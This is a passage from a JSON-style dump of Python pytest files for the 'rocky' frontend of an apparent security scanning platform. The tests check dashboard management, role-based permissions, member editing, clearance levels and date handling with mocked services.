rf.post(\"delete_dashboard_item\", {\"dashboard_item_name\": \"bla\", \"dashboard_item_id\": item_2.id}),\n        redteam_member.user,\n    )\n    response = DeleteDashboardItemView.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 302\n\n    DashboardItem.objects.get(id=item_2.id, dashboard__organization=redteam_member.organization)\n\n    messages = list(request._messages)\n\n    assert \"Dashboard item 'bla' not found.\" in messages[0].message\n\n\ndef test_delete_dashboard(rf, redteam_member, dashboard_items):\n    dashboard_name = dashboard_items[1].dashboard.name\n    dashboard_id = dashboard_items[1].dashboard.id\n\n    request = setup_request(\n        rf.post(\"delete_dashboard\", {\"dashboard_id\": dashboard_id, \"dashboard_name\": dashboard_name}),\n        redteam_member.user,\n    )\n    response = DeleteDashboardView.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 302\n\n    messages = list(request._messages)\n\n    assert f\"Dashboard '{dashboard_name}' has been deleted.\" in messages[0].message\n\n    with pytest.raises(Dashboard.DoesNotExist):\n        Dashboard.objects.get(id=dashboard_id)\n\n\ndef test_delete_dashboard_no_permission(rf, client_member, dashboard_items):\n    item_2 = dashboard_items[1]\n\n    dashboard_name = item_2.dashboard.name\n\n    request = setup_request(rf.post(\"delete_dashboard\", {\"dashboard\": dashboard_name}), client_member.user)\n    with pytest.raises(PermissionDenied):\n        DeleteDashboardView.as_view()(request, organization_code=client_member.organization.code)\n\n\ndef test_create_dashboard_item_form_object_list(client_member, dashboard_items):\n    qdict = QueryDict(mutable=True)\n    qdict.update(\n        {\n            \"dashboard\": dashboard_items[0].dashboard.id,\n            \"title\": \"Test Form\",\n            \"order_by\": \"object_type-asc\",\n            \"limit\": \"10\",\n            \"size\": \"2\",\n            \"observed_at\": \"2025-05-07\",\n            \"ooi_type\": \"Hostname\",\n            \"search_string\": \"\",\n            \"template\": \"partials/dashboard_ooi_list.html\",\n            \"recipe_id\": \"\",\n            \"source\": \"object_list\",\n        }\n    )\n\n    qdict.setlist(\"columns\", [\"object\", \"object_type\"])\n\n    form = AddObjectListDashboardItemForm(organization=client_member.organization, data=qdict)\n\n    assert form.is_valid()\n\n    # Check if dashboard data is created, after form is valid, should be created at this point\n    DashboardItem.objects.get(dashboard=dashboard_items[0].dashboard, name=\"Test Form\")\n\n    # test empty data\n    form = AddObjectListDashboardItemForm(organization=client_member.organization, data=QueryDict(\"\"))\n\n    assert not form.is_valid()\n\n    fields = list(form.errors)\n\n    # errors on all fields\n    assert \"dashboard\" in fields\n    assert \"title\" in fields\n    assert \"order_by\" in fields\n    assert \"limit\" in fields\n    assert \"size\" in fields\n\n    # change for data to have the same title that already exists\n    qdict[\"title\"] = dashboard_items[0].name\n\n    form = AddObjectListDashboardItemForm(organization=client_member.organization, data=qdict)\n    assert not form.is_valid()\n\n    fields = list(form.errors)\n    errors = list(form.errors.values())\n\n    assert \"title\" in fields\n\n    # duplicate title throws form error\n    for error_list in errors:\n        assert (\n            \"An item with that name already exists. Try a different title.\" in error_list\n            or \"An error occurred while adding dashboard item.\" in error_list\n        )\n\n    # set it back\n    qdict[\"title\"] = \"Test Form\"\n\n    # None existent dashboard\n    qdict[\"dashboard\"] = \"\"\n\n    form = AddObjectListDashboardItemForm(organization=client_member.organization, data=qdict)\n    assert not form.is_valid()\n\n    fields = list(form.errors)\n    errors = list(form.errors.values())\n\n    assert \"dashboard\" in fields\n\n    for error_list in errors:\n        assert \"This field is required.\" in error_list or \"Dashboard does not exist.\" in error_list\n\n\ndef test_organization_crisis_room(rf, mocker, client_member, dashboard_items):\n    mocker.patch(\"crisis_room.views.OctopoesAPIConnector\")\n\n    request = setup_request(rf.get(\"organization_crisis_room\"), client_member.user)\n    response = OrganizationsCrisisRoomView.as_view()(\n        request, organization_code=client_member.organization.code, id=dashboard_items[0].dashboard.id\n    )\n\n    assert response.status_code == 200\n\n    for dashboard_item in dashboard_items:\n        assertContains(response, dashboard_item.name)\n\n    assertContains(response, dashboard_items[0].dashboard.name)\n    assertContains(response, \"Object list\")\n\n\ndef test_clients_permissions_for_dashboard(rf, mocker, client_member, dashboard_items):\n    mocker.patch(\"crisis_room.views.OctopoesAPIConnector\")\n\n    request = setup_request(rf.get(\"organization_crisis_room\"), client_member.user)\n    response = OrganizationsCrisisRoomView.as_view()(\n        request, organization_code=client_member.organization.code, id=dashboard_items[0].dashboard.id\n    )\n\n    assert response.status_code == 200\n\n    assert not client_member.can_modify_dashboard\n    assert not client_member.can_modify_dashboard_item\n\n    # Clients are restricted to see Delete or add buttons\n    assertNotContains(response, \"+ Add Dashboard\")\n    assertNotContains(response, \"Delete Dashboard\")\n    assertNotContains(response, \"Delete item \")\n\n\ndef test_create_dashboard_item_form_findings_list(client_member, dashboard_items_from_findings_list):\n    qdict = QueryDict(mutable=True)\n    qdict.update(\n        {\n            \"dashboard\": dashboard_items_from_findings_list[0].dashboard.id,\n            \"title\": \"Test Form\",\n            \"order_by\": \"score-asc\",\n            \"limit\": \"10\",\n            \"size\": \"2\",\n            \"observed_at\": \"2025-05-07\",\n            \"muted_findings\": \"non-muted\",\n            \"source\": \"finding_list\",\n            \"template\": \"partials/dashboard_finding_list.html\",\n        }\n    )\n\n    qdict.setlist(\"columns\", [\"severity\", \"finding\"])\n\n    form = AddFindingListDashboardItemForm(organization=client_member.organization, data=qdict)\n\n    assert form.is_valid()\n\n    # Check if dashboard data is created, after form is valid, should be created at this point\n    DashboardItem.objects.get(dashboard=dashboard_items_from_findings_list[0].dashboard, name=\"Test Form\")\n\n    # test empty data\n    form = AddFindingListDashboardItemForm(organization=client_member.organization, data=QueryDict(\"\"))\n\n    assert not form.is_valid()\n\n    fields = list(form.errors)\n\n    # errors on all fields\n    assert \"dashboard\" in fields\n    assert \"title\" in fields\n    assert \"order_by\" in fields\n    assert \"limit\" in fields\n    assert \"size\" in fields\n\n    # change for data to have the same title that already exists\n    qdict[\"title\"] = dashboard_items_from_findings_list[0].name\n\n    form = AddFindingListDashboardItemForm(organization=client_member.organization, data=qdict)\n\n    assert not form.is_valid()\n\n    fields = list(form.errors)\n    errors = list(form.errors.values())\n\n    assert \"title\" in fields\n\n    # duplicate title throws form error\n    for error_list in errors:\n        assert (\n            \"An item with that name already exists. Try a different title.\" in error_list\n            or \"An error occurred while adding dashboard item.\" in error_list\n        )\n\n    # set it back\n    qdict[\"title\"] = \"Test Form\"\n\n    # None existent dashboard\n    qdict[\"dashboard\"] = \"\"\n\n    form = AddFindingListDashboardItemForm(organization=client_member.organization, data=qdict)\n    assert not form.is_valid()\n\n    fields = list(form.errors)\n    errors = list(form.errors.values())\n\n    assert \"dashboard\" in fields\n\n    for error_list in errors:\n        assert \"This field is required.\" in error_list or \"Dashboard does not exist.\" in error_list\n"
  },
  {
    "path": "rocky/tests/test_findings_add.py",
    "content": "from pytest_django.asserts import assertContains\n\nfrom rocky.views.finding_add import FindingAddView\nfrom tests.conftest import setup_request\n\n\ndef test_findings_add(rf, client_member, mock_organization_view_octopoes):\n    request = setup_request(rf.get(\"finding_add\"), client_member.user)\n    response = FindingAddView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n    assertContains(response, \"Add finding\")\n"
  },
  {
    "path": "rocky/tests/test_groups_and_permissions.py",
    "content": "import pytest\nfrom account.views import AccountView\nfrom katalogus.views.plugin_detail import BoefjeDetailView\nfrom pytest_django.asserts import assertContains, assertNotContains\n\nfrom octopoes.models.pagination import Paginated\nfrom octopoes.models.types import OOIType\nfrom rocky.scheduler import PaginatedSchedulesResponse\nfrom tests.conftest import setup_request\n\n\ndef test_indemnification_present(superuser_member):\n    assert superuser_member.user.indemnification_set.exists()\n\n\ndef test_account_detail_perms(rf, superuser_member, admin_member, redteam_member, client_member):\n    response_superuser = AccountView.as_view()(\n        setup_request(rf.get(\"account_detail\"), superuser_member.user),\n        organization_code=superuser_member.organization.code,\n    )\n\n    response_admin = AccountView.as_view()(\n        setup_request(rf.get(\"account_detail\"), admin_member.user), organization_code=admin_member.organization.code\n    )\n\n    response_redteam = AccountView.as_view()(\n        setup_request(rf.get(\"account_detail\"), redteam_member.user), organization_code=redteam_member.organization.code\n    )\n\n    response_client = AccountView.as_view()(\n        setup_request(rf.get(\"account_detail\"), client_member.user), organization_code=client_member.organization.code\n    )\n    assert response_superuser.status_code == 200\n    assert response_admin.status_code == 200\n    assert response_redteam.status_code == 200\n    assert response_client.status_code == 200\n\n    # There is already text having OOI clearance outside the perms sections, so header tags must be included\n    check_text = \"<h2>OOI clearance</h2>\"\n\n    assertContains(response_superuser, check_text)\n    assertContains(response_redteam, check_text)\n\n    assertNotContains(response_admin, check_text)\n    assertNotContains(response_client, check_text)\n\n\n@pytest.mark.parametrize(\"member\", [\"superuser_member\", \"redteam_member\"])\ndef test_plugin_settings_list_perms(\n    request,\n    member,\n    rf,\n    mock_mixins_katalogus,\n    plugin_details,\n    plugin_schema,\n    boefje_dns_records,\n    boefje_nmap_tcp,\n    mock_scheduler,\n    mock_organization_view_octopoes,\n    network,\n    mocker,\n    lazy_task_list_with_boefje,\n):\n    mock_scheduler.client.get_lazy_task_list.return_value = lazy_task_list_with_boefje\n    mock_scheduler.post_schedule_search.return_value = PaginatedSchedulesResponse(count=0, results=[])\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](count=1, items=[network])\n    mock_mixins_katalogus.get_plugin.return_value = plugin_details\n    mock_mixins_katalogus.get_plugin_schema.return_value = plugin_schema\n    katalogus_mocker1 = mocker.patch(\"katalogus.client.KATalogusClient\")()\n    katalogus_mocker1.get_plugins.return_value = [boefje_dns_records, boefje_nmap_tcp]\n    member = request.getfixturevalue(member)\n\n    response = BoefjeDetailView.as_view()(\n        setup_request(rf.get(\"boefje_detail\"), member.user),\n        organization_code=member.organization.code,\n        plugin_type=\"boefje\",\n        plugin_id=\"test-plugin\",\n    )\n\n    assert response.status_code == 200\n    assertContains(response, \"Overview of settings\")\n    assertContains(response, \"Object list\")\n\n\n@pytest.mark.parametrize(\"member\", [\"admin_member\", \"client_member\"])\ndef test_plugin_settings_list_perms_2(\n    request,\n    member,\n    rf,\n    mock_mixins_katalogus,\n    plugin_details,\n    plugin_schema,\n    boefje_dns_records,\n    boefje_nmap_tcp,\n    mock_scheduler,\n    mock_organization_view_octopoes,\n    network,\n    mocker,\n    lazy_task_list_with_boefje,\n):\n    mock_scheduler.client.get_lazy_task_list.return_value = lazy_task_list_with_boefje\n    mock_scheduler.post_schedule_search.return_value = PaginatedSchedulesResponse(count=0, results=[])\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](count=1, items=[network])\n    mock_mixins_katalogus.get_plugin.return_value = plugin_details\n    mock_mixins_katalogus.get_plugin_schema.return_value = plugin_schema\n    katalogus_mocker1 = mocker.patch(\"katalogus.client.KATalogusClient\")()\n    katalogus_mocker1.get_plugins.return_value = [boefje_dns_records, boefje_nmap_tcp]\n    member = request.getfixturevalue(member)\n\n    response = BoefjeDetailView.as_view()(\n        setup_request(rf.get(\"boefje_detail\"), member.user),\n        organization_code=member.organization.code,\n        plugin_type=\"boefje\",\n        plugin_id=\"test-plugin\",\n    )\n\n    assert response.status_code == 200\n\n    assertNotContains(response, \"Overview of settings\")\n"
  },
  {
    "path": "rocky/tests/test_health.py",
    "content": "from rocky.health import ServiceHealth\nfrom rocky.views.health import flatten_health\n\n\ndef test_flatten_health_simple():\n    mock_health = ServiceHealth(service=\"service1\", healthy=True, version=\"1.1.1\")\n    assert flatten_health(mock_health) == [ServiceHealth(service=\"service1\", healthy=True, version=\"1.1.1\")]\n\n\ndef test_flatten_health_recursive():\n    mock_health = ServiceHealth(\n        service=\"service1\",\n        healthy=True,\n        version=\"1.1.1\",\n        results=[ServiceHealth(service=\"service2\", healthy=False, version=\"2.2.2\")],\n    )\n    assert flatten_health(mock_health) == [\n        ServiceHealth(service=\"service1\", healthy=True, version=\"1.1.1\"),\n        ServiceHealth(service=\"service2\", healthy=False, version=\"2.2.2\"),\n    ]\n"
  },
  {
    "path": "rocky/tests/test_indemnification.py",
    "content": "import pytest\nfrom django.core.exceptions import PermissionDenied\nfrom katalogus.views.change_clearance_level import ChangeClearanceLevel\n\nfrom tests.conftest import setup_request\n\n\ndef test_update_clearance_level(rf, client_member, httpx_mock):\n    httpx_mock.add_response(\n        json={\n            \"id\": \"binaryedge\",\n            \"name\": \"BinaryEdge\",\n            \"version\": None,\n            \"authors\": None,\n            \"created\": None,\n            \"description\": \"Use BinaryEdge to find open ports with vulnerabilities that are found on that port\",\n            \"related\": None,\n            \"enabled\": True,\n            \"type\": \"boefje\",\n            \"scan_level\": 2,\n            \"consumes\": [\"IPAddressV6\", \"IPAddressV4\"],\n            \"options\": None,\n            \"produces\": [\n                \"KATFindingType\",\n                \"SoftwareInstance\",\n                \"Service\",\n                \"IPPort\",\n                \"Finding\",\n                \"Software\",\n                \"IPService\",\n                \"CVEFindingType\",\n            ],\n        }\n    )\n\n    with pytest.raises(PermissionDenied):\n        ChangeClearanceLevel.as_view()(\n            setup_request(rf.get(\"change_clearance_level\"), client_member.user),\n            organization_code=client_member.organization.code,\n            plugin_type=\"boefje\",\n            plugin_id=\"test-plugin\",\n            scan_level=\"1\",\n        )\n"
  },
  {
    "path": "rocky/tests/test_landing_page.py",
    "content": "from account.views import AccountView\nfrom pytest_django.asserts import assertContains\n\nfrom rocky.views.landing_page import LandingPageView\nfrom tests.conftest import setup_request\n\n\ndef test_landing_page_redirect(rf, client_member):\n    request = setup_request(rf.get(\"landing_page\"), client_member.user)\n\n    response = LandingPageView.as_view()(request)\n    assert response.status_code == 302  # Redirects to crisis-room\n\n\ndef test_language_lang_attribute(rf, client_member, language):\n    response = AccountView.as_view()(\n        setup_request(rf.get(\"account_detail\"), client_member.user), organization_code=client_member.organization.code\n    )\n    assert response.status_code == 200\n    assertContains(response, '<html lang=\"' + language + '\"')\n"
  },
  {
    "path": "rocky/tests/test_members.py",
    "content": "import pytest\nfrom django.core.exceptions import PermissionDenied\nfrom django.http import Http404\nfrom pytest_django.asserts import assertContains, assertNotContains\n\nfrom rocky.views.organization_member_add import OrganizationMemberAddAccountTypeView, OrganizationMemberAddView\nfrom rocky.views.organization_member_edit import OrganizationMemberEditView\nfrom tests.conftest import setup_request\n\n\ndef test_admin_can_edit_itself(rf, admin_member):\n    \"\"\"\n    This will test if an admin member can edit itself.\n    \"\"\"\n\n    request = setup_request(rf.get(\"organization_member_edit\"), admin_member.user)\n    response = OrganizationMemberEditView.as_view()(\n        request, organization_code=admin_member.organization.code, pk=admin_member.id\n    )\n    assert response.status_code == 200\n    assertContains(response, \"Edit member\")\n\n\ndef test_superuser_can_edit_itself(rf, superuser_member):\n    \"\"\"\n    This will test if a superuser can edit itself.\n    \"\"\"\n\n    request = setup_request(rf.get(\"organization_member_edit\"), superuser_member.user)\n    response = OrganizationMemberEditView.as_view()(\n        request, organization_code=superuser_member.organization.code, pk=superuser_member.id\n    )\n    assert response.status_code == 200\n    assertContains(response, \"Edit member\")\n\n\ndef test_client_can_edit_itself(rf, client_member):\n    \"\"\"\n    This will test if a client member can edit itself. Only admins and superusers have edit rights.\n    \"\"\"\n\n    request = setup_request(rf.get(\"organization_member_edit\"), client_member.user)\n    with pytest.raises(PermissionDenied):\n        OrganizationMemberEditView.as_view()(\n            request, organization_code=client_member.organization.code, pk=client_member.id\n        )\n\n\ndef test_redteam_can_edit_itself(rf, redteam_member):\n    \"\"\"\n    This will test if a redteam member can edit itself. Only admins and supersuers have edit rights.\n    \"\"\"\n\n    request = setup_request(rf.get(\"organization_member_edit\"), redteam_member.user)\n    with pytest.raises(PermissionDenied):\n        OrganizationMemberEditView.as_view()(\n            request, organization_code=redteam_member.organization.code, pk=redteam_member.id\n        )\n\n\ndef test_admin_can_edit_superuser(rf, admin_member, superuser_member):\n    \"\"\"\n    This will test if admin can edit superuser at the member edit view.\n    \"\"\"\n\n    request = setup_request(rf.get(\"organization_member_edit\"), admin_member.user)\n    with pytest.raises(PermissionDenied):\n        OrganizationMemberEditView.as_view()(\n            request, organization_code=superuser_member.organization.code, pk=superuser_member.id\n        )\n\n\ndef test_client_can_edit_superuser(rf, client_member, superuser_member):\n    \"\"\"\n    This will test if client can edit superuser at the member edit view.\n    \"\"\"\n\n    request = setup_request(rf.get(\"organization_member_edit\"), client_member.user)\n    with pytest.raises(PermissionDenied):\n        OrganizationMemberEditView.as_view()(\n            request, organization_code=superuser_member.organization.code, pk=superuser_member.id\n        )\n\n\ndef test_redteamer_can_edit_superuser(rf, redteam_member, superuser_member, organization):\n    \"\"\"\n    This will test if redteamer can edit superuser at the member edit view.\n    \"\"\"\n\n    request = setup_request(rf.get(\"organization_member_edit\"), redteam_member.user)\n    with pytest.raises(PermissionDenied):\n        OrganizationMemberEditView.as_view()(request, organization_code=organization.code, pk=superuser_member.id)\n\n\ndef test_edit_superusers_from_different_organizations(rf, superuser_member, superuser_member_b):\n    \"\"\"\n    This will test if a superuser from one organization can edit\n    a superuser from another organization at the member edit view.\n    \"\"\"\n\n    request = setup_request(rf.get(\"organization_member_edit\"), superuser_member.user)\n    # from OrganizationView\n    OrganizationMemberEditView.as_view()(\n        request, organization_code=superuser_member_b.organization.code, pk=superuser_member_b.id\n    )\n\n\ndef test_edit_admins_from_different_organizations(rf, admin_member, admin_member_b):\n    \"\"\"\n    This will check that an admin from one organization cannot edit\n    an admin from another organization at the member edit view.\n    \"\"\"\n\n    request = setup_request(rf.get(\"organization_member_edit\"), admin_member.user)\n    # from OrganizationView\n    with pytest.raises(Http404):\n        OrganizationMemberEditView.as_view()(\n            request, organization_code=admin_member_b.organization.code, pk=admin_member_b.id\n        )\n\n\ndef test_admin_edits_client_different_orgs(rf, admin_member, client_member_b):\n    request = setup_request(\n        rf.post(\"organization_member_edit\", {\"status\": \"blocked\", \"trusted_clearance_level\": 4}), admin_member.user\n    )\n    with pytest.raises(Http404):\n        OrganizationMemberEditView.as_view()(\n            request, organization_code=client_member_b.organization.code, pk=client_member_b.id\n        )\n\n\ndef test_admin_edits_redteamer(rf, admin_member, redteam_member, log_output):\n    request = setup_request(\n        rf.post(\"organization_member_edit\", {\"status\": \"active\", \"trusted_clearance_level\": 4}), admin_member.user\n    )\n    OrganizationMemberEditView.as_view()(\n        request, organization_code=redteam_member.organization.code, pk=redteam_member.id\n    )\n\n    redteam_member.refresh_from_db()\n    assert redteam_member.status == \"active\"\n    assert redteam_member.trusted_clearance_level == 4\n\n    organization_member_updated_log = log_output.entries[-1]\n    assert organization_member_updated_log[\"event\"] == \"%s %s updated\"\n    assert organization_member_updated_log[\"object\"] == \"redteamer@openkat.nl\"\n    assert organization_member_updated_log[\"object_type\"] == \"OrganizationMember\"\n\n\ndef test_admin_edits_redteamer_to_block(rf, admin_member, redteam_member):\n    request = setup_request(\n        rf.post(\"organization_member_edit\", {\"blocked\": True, \"trusted_clearance_level\": 4}), admin_member.user\n    )\n    OrganizationMemberEditView.as_view()(\n        request, organization_code=redteam_member.organization.code, pk=redteam_member.id\n    )\n\n    redteam_member.refresh_from_db()\n    assert redteam_member.blocked is True\n\n\ndef test_account_type_view_existence(rf, admin_member):\n    response = OrganizationMemberAddAccountTypeView.as_view()(\n        setup_request(rf.get(\"organization_member_add_account_type\"), admin_member.user),\n        organization_code=admin_member.organization.code,\n    )\n\n    assert response.status_code == 200\n\n\ndef test_check_add_redteamer_form(rf, admin_member):\n    response = OrganizationMemberAddView.as_view()(\n        setup_request(rf.get(\"organization_member_add\"), admin_member.user),\n        organization_code=admin_member.organization.code,\n        account_type=\"redteam\",\n    )\n\n    assert response.status_code == 200\n    assertContains(response, \"Redteam account setup\")\n\n    # Check first and last radio input of trusted clearance level form input\n    assertContains(\n        response,\n        '<input type=\"radio\" name=\"trusted_clearance_level\" value=\"-1\" radio_paws=\"True\" '\n        'id=\"id_trusted_clearance_level_0\" required=\"True\" checked=\"True\" checked=\"True\">',\n        html=True,\n    )\n    assertContains(\n        response,\n        '<input type=\"radio\" name=\"trusted_clearance_level\" value=\"4\" radio_paws=\"True\" '\n        'id=\"id_trusted_clearance_level_5\" required=\"True\">',\n        html=True,\n    )\n\n\n@pytest.mark.parametrize(\"account_type\", [\"admin\", \"client\"])\ndef test_check_add_admin_client_form(rf, admin_member, account_type):\n    response = OrganizationMemberAddView.as_view()(\n        setup_request(rf.get(\"organization_member_add\"), admin_member.user),\n        organization_code=admin_member.organization.code,\n        account_type=account_type,\n    )\n\n    assert response.status_code == 200\n    assertContains(response, account_type.capitalize() + \" account setup\")\n\n    # Check first and last radio input of trusted clearance level form input\n    assertNotContains(\n        response,\n        '<input type=\"radio\" name=\"trusted_clearance_level\" value=\"-1\" id=\"id_trusted_clearance_level_0\" checked=\"\">',\n        html=True,\n    )\n    assertNotContains(\n        response,\n        '<input type=\"radio\" name=\"trusted_clearance_level\" value=\"4\" id=\"id_trusted_clearance_level_5\">',\n        html=True,\n    )\n"
  },
  {
    "path": "rocky/tests/test_migrations.py",
    "content": "from io import StringIO\n\nimport pytest\nfrom django.core.management import call_command\n\npytestmark = pytest.mark.django_db\n\n\ndef test_for_missing_migrations():\n    output = StringIO()\n    call_command(\"makemigrations\", no_input=True, dry_run=True, stdout=output)\n    lines = output.getvalue().strip().splitlines()\n\n    assert lines[0] == \"No changes detected\"\n"
  },
  {
    "path": "rocky/tests/test_models.py",
    "content": "from django.contrib.auth.models import Group, Permission\nfrom django.contrib.contenttypes.models import ContentType\nfrom tools.models import Organization, OrganizationTag\n\n\ndef test_organizationtag_cssclass():\n    tag = OrganizationTag(color=\"blue-dark\", border_type=\"dashed\")\n\n    assert tag.css_class == \"tags-blue-dark dashed\"\n\n\ndef test_user_organization_cache(superuser_member, django_assert_num_queries):\n    with django_assert_num_queries(1):\n        assert len(superuser_member.user.organizations) == 1\n        assert len(superuser_member.user.organizations) == 1\n\n\ndef test_organizationmember_no_permissions(active_member, django_assert_num_queries):\n    with django_assert_num_queries(3):\n        assert not active_member.has_perm(\"tools.view_organization\")\n        assert not active_member.has_perm(\"tools.can_scan_organization\")\n        assert not active_member.has_perm(\"tools.can_enable_disable_boefje\")\n\n\ndef test_organizationmember_permissions(active_member, django_assert_num_queries):\n    content_type = ContentType.objects.get_for_model(Organization)\n    view_organization = Permission.objects.get(codename=\"view_organization\", content_type=content_type)\n    can_scan_organization = Permission.objects.get(codename=\"can_scan_organization\", content_type=content_type)\n    can_enable_disable_boefje = Permission.objects.get(codename=\"can_enable_disable_boefje\", content_type=content_type)\n\n    group1 = Group.objects.create(name=\"group1\")\n    group2 = Group.objects.create(name=\"group2\")\n\n    active_member.user.user_permissions.add(view_organization)\n    group1.permissions.add(can_scan_organization)\n    group2.permissions.add(can_enable_disable_boefje)\n\n    active_member.user.groups.add(group1)\n    active_member.groups.add(group2)\n\n    with django_assert_num_queries(3):\n        assert active_member.has_perm(\"tools.view_organization\")\n        assert active_member.has_perm(\"tools.can_scan_organization\")\n        assert active_member.has_perm(\"tools.can_enable_disable_boefje\")\n\n\ndef test_organizationmember_permissions_superuser(superuser_member, django_assert_num_queries):\n    with django_assert_num_queries(1):\n        assert superuser_member.has_perm(\"tools.view_organization\")\n        assert superuser_member.has_perm(\"tools.can_scan_organization\")\n        assert superuser_member.has_perm(\"tools.can_enable_disable_boefje\")\n\n\ndef test_user_two_organization(client_user_two_organizations, organization, organization_b):\n    # Organisations are sorted by name in the model results\n    assert client_user_two_organizations.organizations == [organization_b, organization]\n    assert client_user_two_organizations.organizations_including_blocked == [organization_b, organization]\n\n\ndef test_user_one_organization(client_member, organization_b):\n    assert client_member.user.organizations == [client_member.organization]\n\n\ndef test_user_organization_blocked(blocked_member, organization_b):\n    assert blocked_member.user.organizations == []\n\n\ndef test_superuser_organizations(superuser, organization, organization_b):\n    assert superuser.organizations == [organization_b, organization]\n\n\ndef test_can_access_all_organizations(client_member, organization_b):\n    content_type = ContentType.objects.get_for_model(Organization)\n    can_access_all_organizations = Permission.objects.get(\n        codename=\"can_access_all_organizations\", content_type=content_type\n    )\n\n    client_member.user.user_permissions.add(can_access_all_organizations)\n\n    assert client_member.user.organizations == [organization_b, client_member.organization]\n\n\ndef test_max_clearance_level(client_member):\n    client_member.user.clearance_level = -1\n    client_member.trusted_clearance_level = -1\n    client_member.acknowledged_clearance_level = -1\n\n    assert client_member.max_clearance_level == -1\n\n    client_member.user.clearance_level = 4\n    client_member.trusted_clearance_level = -1\n    client_member.acknowledged_clearance_level = -1\n\n    assert client_member.max_clearance_level == 4\n\n    client_member.user.clearance_level = -1\n    client_member.trusted_clearance_level = 4\n    client_member.acknowledged_clearance_level = 4\n\n    assert client_member.max_clearance_level == 4\n\n    client_member.user.clearance_level = 4\n    client_member.trusted_clearance_level = 2\n    client_member.acknowledged_clearance_level = 2\n\n    assert client_member.max_clearance_level == 2\n\n    client_member.user.clearance_level = 2\n    client_member.trusted_clearance_level = 4\n    client_member.acknowledged_clearance_level = 4\n\n    assert client_member.max_clearance_level == 4\n\n\ndef test_max_clearance_level_not_acknowledged(client_member):\n    client_member.user.clearance_level = 2\n    client_member.trusted_clearance_level = 1\n    client_member.acknowledged_clearance_level = -1\n\n    assert client_member.max_clearance_level == -1\n\n    client_member.user.clearance_level = 2\n    client_member.trusted_clearance_level = -1\n    client_member.acknowledged_clearance_level = 1\n\n    assert client_member.max_clearance_level == -1\n\n    client_member.user.clearance_level = -1\n    client_member.trusted_clearance_level = -1\n    client_member.acknowledged_clearance_level = 1\n\n    assert client_member.max_clearance_level == -1\n\n    client_member.user.clearance_level = -1\n    client_member.trusted_clearance_level = 2\n    client_member.acknowledged_clearance_level = -1\n\n    assert client_member.max_clearance_level == -1\n\n    client_member.user.clearance_level = -1\n    client_member.trusted_clearance_level = 2\n    client_member.acknowledged_clearance_level = 1\n\n    assert client_member.max_clearance_level == 1\n"
  },
  {
    "path": "rocky/tests/test_observed_at.py",
    "content": "from datetime import datetime, timedelta, timezone\n\nfrom django.urls import resolve, reverse\nfrom tools.forms.base import ObservedAtForm\n\nfrom octopoes.models.ooi.network import Network\nfrom octopoes.models.pagination import Paginated\nfrom octopoes.models.types import OOIType\nfrom rocky.views.mixins import ObservedAtMixin\nfrom rocky.views.ooi_list import OOIListView\nfrom tests.conftest import setup_request\n\n\ndef test_observed_at_no_value(mocker):\n    mock_mixin_datetime = mocker.patch(\"rocky.views.mixins.datetime\")\n    mock_request = mocker.Mock()\n    mock_request.GET = {}\n    mock_request.POST = {}\n    now = datetime(2023, 10, 24, 9, 34, 56, 316699, tzinfo=timezone.utc)\n    mock_mixin_datetime.now.return_value = now\n\n    observed_at = ObservedAtMixin()\n    observed_at.request = mock_request\n    assert observed_at.observed_at == now\n\n\ndef test_observed_at_date(mocker):\n    mock_request = mocker.Mock()\n    mock_request.GET = {\"observed_at\": \"2023-10-24\"}\n\n    observed_at = ObservedAtMixin()\n    observed_at.request = mock_request\n    assert observed_at.observed_at == datetime(2023, 10, 24, 23, 59, 59, 999999, tzinfo=timezone.utc)\n\n\ndef test_observed_at_datetime(mocker):\n    mock_request = mocker.Mock()\n    mock_request.GET = {\"observed_at\": \"2023-10-24T09:34:56\"}\n\n    observed_at = ObservedAtMixin()\n    observed_at.request = mock_request\n    assert observed_at.observed_at == datetime(2023, 10, 24, 9, 34, 56, 0, tzinfo=timezone.utc)\n\n\ndef test_observed_at_datetime_with_timezone(mocker):\n    mock_request = mocker.Mock()\n    mock_request.GET = {\"observed_at\": \"2023-10-24T11:34:56+02:00\"}\n\n    observed_at = ObservedAtMixin()\n    observed_at.request = mock_request\n    assert observed_at.observed_at == datetime(2023, 10, 24, 9, 34, 56, 0, tzinfo=timezone.utc)\n\n\ndef test_observed_at_future_date(rf, client_member, mock_organization_view_octopoes):\n    kwargs = {\"organization_code\": client_member.organization.code}\n    url = reverse(\"ooi_list\", kwargs=kwargs)\n\n    day_plus_1_in_future = (datetime.now(tz=timezone.utc) + timedelta(days=1)).strftime(\"%Y-%m-%d\")\n    request = rf.get(url, {\"observed_at\": day_plus_1_in_future})\n    request.resolver_match = resolve(url)\n\n    setup_request(request, client_member.user)\n\n    mock_organization_view_octopoes().list.return_value = Paginated[OOIType](\n        count=200, items=[Network(name=\"testnetwork\")] * 150\n    )\n\n    _ = OOIListView.as_view()(request, organization_code=client_member.organization.code)\n\n    messages = list(request._messages)\n    assert messages[0].message == \"The selected date is in the future.\"\n\n    form = ObservedAtForm(data=request.GET)\n    assert form.is_valid()\n"
  },
  {
    "path": "rocky/tests/test_ooi_information.py",
    "content": "from pathlib import Path\n\nfrom tools.add_ooi_information import get_info, port_info, service_info\n\n\ndef test_port_info(mocker):\n    requests_patch = mocker.patch(\"tools.add_ooi_information.httpx\")\n    requests_patch.get().text = (Path(__file__).parent / \"stubs\" / \"wiki.html\").read_text()\n\n    descriptions, source = port_info(\"80\", \"TCP\")\n\n    assert descriptions == (\n        \"Hypertext Transfer Protocol (HTTP)[48][49] uses TCP in versions 1.x and 2. \"\n        \"HTTP/3 uses QUIC,[50] a transport protocol on top of UDP.\"\n    )\n    assert source == \"https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers\"\n\n    descriptions, source = port_info(\"443\", \"UDP\")\n    assert descriptions == (\n        \"Hypertext Transfer Protocol Secure (HTTPS)[48][49] uses TCP in versions 1.x \"\n        \"and 2. HTTP/3 uses QUIC,[50] a transport protocol on top of UDP.\"\n    )\n\n\ndef test_service_info(mocker):\n    requests_patch = mocker.patch(\"tools.add_ooi_information.httpx\")\n    requests_patch.get().text = (Path(__file__).parent / \"stubs\" / \"iana_service.html\").read_text()\n\n    description, source = service_info(\"ssh\")\n\n    assert (\n        description == \"Service is usually on port 22, with protocol tcp: The Secure Shell (SSH) Protocol. \"\n       